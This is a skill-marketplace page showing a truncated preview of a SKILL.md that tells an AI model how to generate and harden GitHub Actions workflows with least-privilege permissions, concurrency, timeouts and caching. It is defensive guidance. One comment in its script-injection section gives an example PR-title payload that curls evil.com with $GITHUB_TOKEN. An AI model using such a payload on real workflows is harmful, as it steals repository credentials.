Skip to main content

github-actions-hardened

Generate production-hardened GitHub Actions CI/CD workflows enforcing least-privilege permissions, concurrency groups, timeout guards, dependency caching, and latest major version action tags. Always co-generates a .github/dependabot.yml. Also use this skill to HARDEN EXISTING workflows using zizmor — applies persist-credentials, template injection fixes, permissions, and optional SHA pinning automatically. Use this skill whenever the user asks about CI, CD, pipelines, GitHub Actions, YAML workflows, automated testing, deployment, releases, security audits, SOC 2, compliance, zizmor, workflow hardening, or "fixing" workflow security — even if they don't say "hardened" or "secure". Always prefer this skill over github-actions-templates for any workflow that touches production, uses third-party actions, or needs to pass a code review. Trigger for any GitHub Actions workflow request, whether creating new or hardening existing workflows.

معلومات المصدر

المستودع
arash77/github-actions-skill
آخر نشاط في المصدر
٩ يونيو ٢٠٢٦ في ١٣:٣٤
لغة SKILL.md المكتشفة
الإنجليزية
النجوم
١
التفرعات
٠

خيارات التثبيت

يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.

مراجعة ملفات المصدر

اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.

مستكشف الملفات
5 ملفات

عرض SKILL.md

SKILL.md
تعليمات المصدر · معاينة للقراءة فقط
name
github-actions-hardened
description
Generate production-hardened GitHub Actions CI/CD workflows enforcing least-privilege permissions, concurrency groups, timeout guards, dependency caching, and latest major version action tags. Always co-generates a .github/dependabot.yml. Also use this skill to HARDEN EXISTING workflows using zizmor — applies persist-credentials, template injection fixes, permissions, and optional SHA pinning automatically. Use this skill whenever the user asks about CI, CD, pipelines, GitHub Actions, YAML workflows, automated testing, deployment, releases, security audits, SOC 2, compliance, zizmor, workflow hardening, or "fixing" workflow security — even if they don't say "hardened" or "secure". Always prefer this skill over github-actions-templates for any workflow that touches production, uses third-party actions, or needs to pass a code review. Trigger for any GitHub Actions workflow request, whether creating new or hardening existing workflows.
# GitHub Actions Hardened Workflows You are acting as a Staff DevOps Engineer. Every workflow you generate must enforce all five hardening principles below — no exceptions, no shortcuts. ## Five Hardening Principles These aren't arbitrary rules — each addresses a real class of incident. ### 1. Job-Level Least-Privilege Permissions GitHub Actions grants the `GITHUB_TOKEN` broad permissions by default. If a step in your workflow is compromised (e.g., a malicious `npm postinstall` script), it can use that token to push code, create releases, or exfiltrate secrets. Set `permissions` explicitly **at the job level** (not the workflow level) so that each job gets only what it needs: ```yaml jobs: test: permissions: contents: read # checkout ``` Common permission scopes: - `contents: read` — checkout code - `contents: write` — create releases, push tags - `packages: write` — push to GHCR - `id-token: write` — OIDC token for cloud auth or SLSA provenance - `pull-requests: write` — post PR comments - `checks: write` — post check run results - `security-events: write` — upload SARIF to Security tab Never use `permissions: write-all`. Never omit `permissions` entirely on a job that uses `GITHUB_TOKEN`. As defense-in-depth, also set `permissions: {}` at the **workflow level** (above `jobs:`). Any job added later without its own `permissions` block then inherits zero access rather than GitHub's broad defaults: ```yaml permissions: {} # workflow level: deny all by default jobs: test: permissions: contents: read # each job explicitly grants only what it needs ``` ### 2. Latest Major Version Action Tags Always pin actions to their latest **major version tag** (e.g., `@v4`). Never use `@latest`, `@main`, or `@master` — these are moving targets that can introduce breaking changes or security regressions without warning. ```yaml # Too loose — can break without warning - uses: actions/checkout@latest - uses: actions/checkout@main # Correct — stable within the major version contract - uses: actions/checkout@v4 - uses: actions/setup-node@v4 ``` Before writing any workflow, look up the current latest major version for each action you plan to use: - **With web/search access:** search `github.com/<owner>/<repo>/releases` for the latest tag - **With `gh` CLI:** `gh api repos/<owner>/<repo>/releases/latest --jq .tag_name` - **Without either:** use the most recent major version you know confidently — do NOT guess minor/patch numbers. If uncertain, note it explicitly so the user can verify. Dependabot (see below) will keep these tags current automatically, ensuring you receive security patches within the major version without any manual effort. ### 3. Concurrency Groups Without concurrency controls, every push to a PR branch queues a new run while the previous one is still in progress. The old run produces stale results, wastes runner minutes, and can cause race conditions in deployments. Add this to every workflow: ```yaml concurrency: group: ${{ github.workflow }}-${{ github.ref }} cancel-in-progress: ${{ github.ref != 'refs/heads/main' }} ``` The condition `github.ref != 'refs/heads/main'` is important: cancel redundant runs on PR branches, but never cancel a run that is already deploying to production. ### 4. Timeout Guards GitHub's default job timeout is 360 minutes (6 hours). A test suite that hangs on network I/O, a Docker build stuck waiting for a layer, or a deployment waiting for a lock will consume 6 hours of runner minutes per occurrence — and on private repos, this directly costs money. Always set `timeout-minutes` on every job: ```yaml jobs: test: timeout-minutes: 15 # fail fast if tests hang build: timeout-minutes: 30 # Docker builds may be slow deploy: timeout-minutes: 20 # include time for rollout checks ``` Choose values that are 2–3× your typical run time, not the absolute maximum. ### 5. Native Dependency Caching Re-downloading all dependencies on every run is the single largest source of avoidable latency in most CI pipelines. Use the `cache` parameter built into setup actions when available: ```yaml - uses: actions/setup-node@v4 with: node-version: '20' cache: 'npm' # or 'yarn' or 'pnpm' ``` For ecosystems without built-in cache support, use `actions/cache` with a meaningful key. --- ## Supplementary Best Practices **Path filtering** — Avoid triggering workflows when irrelevant files change. See `references/path-filtering.md` for patterns including monorepo per-package filtering. --- ## Hardened Workflow Patterns ### Pattern A: CI Test Workflow (Node.js) ```yaml # .github/workflows/ci.yml name: CI on: push: branches: [main] pull_request: branches: [main] concurrency: group: ${{ github.workflow }}-${{ github.ref }} cancel-in-progress: ${{ github.ref != 'refs/heads/main' }} jobs: test: name: Test (Node ${{ matrix.node-version }}) runs-on: ubuntu-latest timeout-minutes: 15 permissions: contents: read strategy: fail-fast: false matrix: node-version: ['20', '22'] steps: - name: Checkout uses: actions/checkout@v4 - name: Set up Node.js ${{ matrix.node-version }} uses: actions/setup-node@v4 with: node-version: ${{ matrix.node-version }} cache: 'npm' - name: Install dependencies run: npm ci - name: Lint run: npm run lint - name: Test run: npm test -- --coverage - name: Upload coverage if: matrix.node-version == '20' uses: codecov/codecov-action@v5 with: fail_ci_if_error: true ``` **For pnpm:** change `cache: 'npm'` to `cache: 'pnpm'` and add `pnpm/action-setup@v4` before setup-node with `corepack enable`. **For yarn:** change `cache: 'npm'` to `cache: 'yarn'`. --- ### Pattern B: Docker Build and Push to GHCR ```yaml # .github/workflows/docker.yml name: Docker Build and Push on: push: branches: [main] tags: ['v*'] pull_request: branches: [main] concurrency: group: ${{ github.workflow }}-${{ github.ref }} cancel-in-progress: ${{ github.ref != 'refs/heads/main' }} env: REGISTRY: ghcr.io IMAGE_NAME: ${{ github.repository }} jobs: build: name: Build and Push runs-on: ubuntu-latest timeout-minutes: 30 permissions: contents: read packages: write steps: - name: Checkout uses: actions/checkout@v4 - name: Set up Docker Buildx uses: docker/setup-buildx-action@v3 - name: Log in to GHCR if: github.event_name != 'pull_request' uses: docker/login-action@v3 with: registry: ${{ env.REGISTRY }} username: ${{ github.actor }} password: ${{ secrets.GITHUB_TOKEN }} - name: Extract metadata id: meta uses: docker/metadata-action@v5 with: images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }} tags: | type=ref,event=branch type=ref,event=pr type=semver,pattern={{version}} type=semver,pattern={{major}}.{{minor}} type=sha,prefix=sha- - name: Build and push uses: docker/build-push-action@v6 with: context: . push: ${{ github.event_name != 'pull_request' }} tags: ${{ steps.meta.outputs.tags }} labels: ${{ steps.meta.outputs.labels }} cache-from: type=gha cache-to: type=gha,mode=max ``` --- ### Pattern C: Tagged Release ```yaml # .github/workflows/release.yml name: Release on: push: tags: ['v*.*.*'] concurrency: group: ${{ github.workflow }}-${{ github.ref }} cancel-in-progress: false # Never cancel an in-flight release jobs: release: name: Create Release runs-on: ubuntu-latest timeout-minutes: 20 permissions: contents: write # create GitHub Release steps: - name: Checkout uses: actions/checkout@v4 with: fetch-depth: 0 # needed for changelog generation - name: Build run: | # Replace with your actual build command npm ci && npm run build - name: Create GitHub Release uses: softprops/action-gh-release@v2 with: generate_release_notes: true files: dist/** ``` --- ### Pattern D: Staged Deployment with GitHub Environments Deploy to staging automatically, then require human approval before production. GitHub Environments provide required-reviewer gates, environment-scoped secrets, and a deployment audit log — all configured in repository settings, no extra tooling required. ```yaml # .github/workflows/deploy.yml name: Deploy on: push: branches: [main] concurrency: group: ${{ github.workflow }}-${{ github.ref }} cancel-in-progress: false # Never cancel an in-flight deployment jobs: deploy-staging: name: Deploy to Staging runs-on: ubuntu-latest timeout-minutes: 15 environment: staging # links to the "staging" Environment in Settings permissions: id-token: write # OIDC token for keyless cloud auth contents: read steps: - name: Checkout uses: actions/checkout@v4 - name: Configure AWS credentials (OIDC) uses: aws-actions/configure-aws-credentials@v4 with: role-to-assume: ${{ vars.AWS_DEPLOY_ROLE_ARN }} aws-region: us-east-1 - name: Deploy to staging run: ./scripts/deploy.sh staging deploy-production: name: Deploy to Production runs-on: ubuntu-latest timeout-minutes: 20 needs: deploy-staging environment: production # add required reviewers here in Settings permissions: id-token: write contents: read steps: - name: Checkout uses: actions/checkout@v4 - name: Configure AWS credentials (OIDC) uses: aws-actions/configure-aws-credentials@v4 with: role-to-assume: ${{ vars.AWS_DEPLOY_ROLE_ARN }} aws-region: us-east-1 - name: Deploy to production run: ./scripts/deploy.sh production ``` **Setup:** In Settings → Environments, create `staging` and `production`. Add required reviewers to `production` — GitHub pauses the `deploy-production` job and waits for approval before it runs. **OIDC setup** (preferred over static secrets): see `references/security-practices.md`. Swap `aws-actions/configure-aws-credentials@v4` for `azure/login@v2` or `google-github-actions/auth@v2` for Azure or GCP. --- ## Dependabot Configuration Always co-generate this file alongside any workflow you create. Dependabot will automatically open PRs to update action versions when new major/minor/patch releases ship. ```yaml # .github/dependabot.yml version: 2 updates: - package-ecosystem: "github-actions" directory: "/" schedule: interval: "weekly" day: "monday" # Group all action updates into a single PR to reduce noise groups: github-actions: patterns: - "*" commit-message: prefix: "chore(ci)" labels: - "dependencies" - "ci" ``` For extended variants (with reviewers, ignore patterns, multiple ecosystems), see `references/dependabot-config.md`. --- ## Ecosystem Adaptation Adapt Pattern A's Node.js CI to other ecosystems: | Ecosystem | Setup Action | Cache Approach | Install | Test | |-----------|-------------|----------------|---------|------| | Python | `actions/setup-python@v5` | `cache: 'pip'` | `pip install -r requirements.txt` | `pytest` | | Go | `actions/setup-go@v5` | `cache: true` (built-in) | implicit | `go test ./...` | | Rust | `dtolnay/rust-toolchain@stable` | `actions/cache@v4` on `~/.cargo` + `./target` | implicit | `cargo test` | | Java/Maven | `actions/setup-java@v4` | `cache: 'maven'` | `mvn -B install -DskipTests` | `mvn test` | | Java/Gradle | `actions/setup-java@v4` | `cache: 'gradle'` | `./gradlew dependencies` | `./gradlew test` | --- ## Common Anti-Patterns **`permissions: write-all`** — Grants every possible scope. A compromised step could push malicious commits or delete releases. Always enumerate only what each job needs. **`uses: action/foo@latest` or `@main`** — Moving targets that can silently introduce breaking changes or security regressions. Always pin to a major version tag. **No `concurrency` block** — Queues redundant runs and produces stale status checks on PRs. **No `timeout-minutes`** — Allows a hung job to consume 6 hours of runner capacity per occurrence. **Separate `actions/cache` step when the setup action has a `cache:` parameter** — Redundant and error-prone. Use the built-in parameter where available. **Script injection via direct `${{ }}` interpolation in `run:` blocks** — User-controlled values injected directly into shell commands allow an attacker to execute arbitrary code. Always pass untrusted input through environment variables. Contexts that are attacker-controllable and must never be interpolated directly into `run:`: - `github.event.issue.title` / `.body` - `github.event.pull_request.title` / `.body` - `github.event.comment.body` - `github.event.review.body` - `github.head_ref` (PR branch name — can be set by the PR author) ```yaml # DANGEROUS — attacker can set PR title to: "; curl https://evil.com?t=$GITHUB_TOKEN; echo " - run: echo "PR title: ${{ github.event.pull_request.title }}" # SAFE — shell treats the variable as data, not code - env:
عرض على GitHub
ملف SKILL.md هذا كبير جدا، لذلك يعرض SkillsMP القسم الاول فقط هنا. عرض على GitHub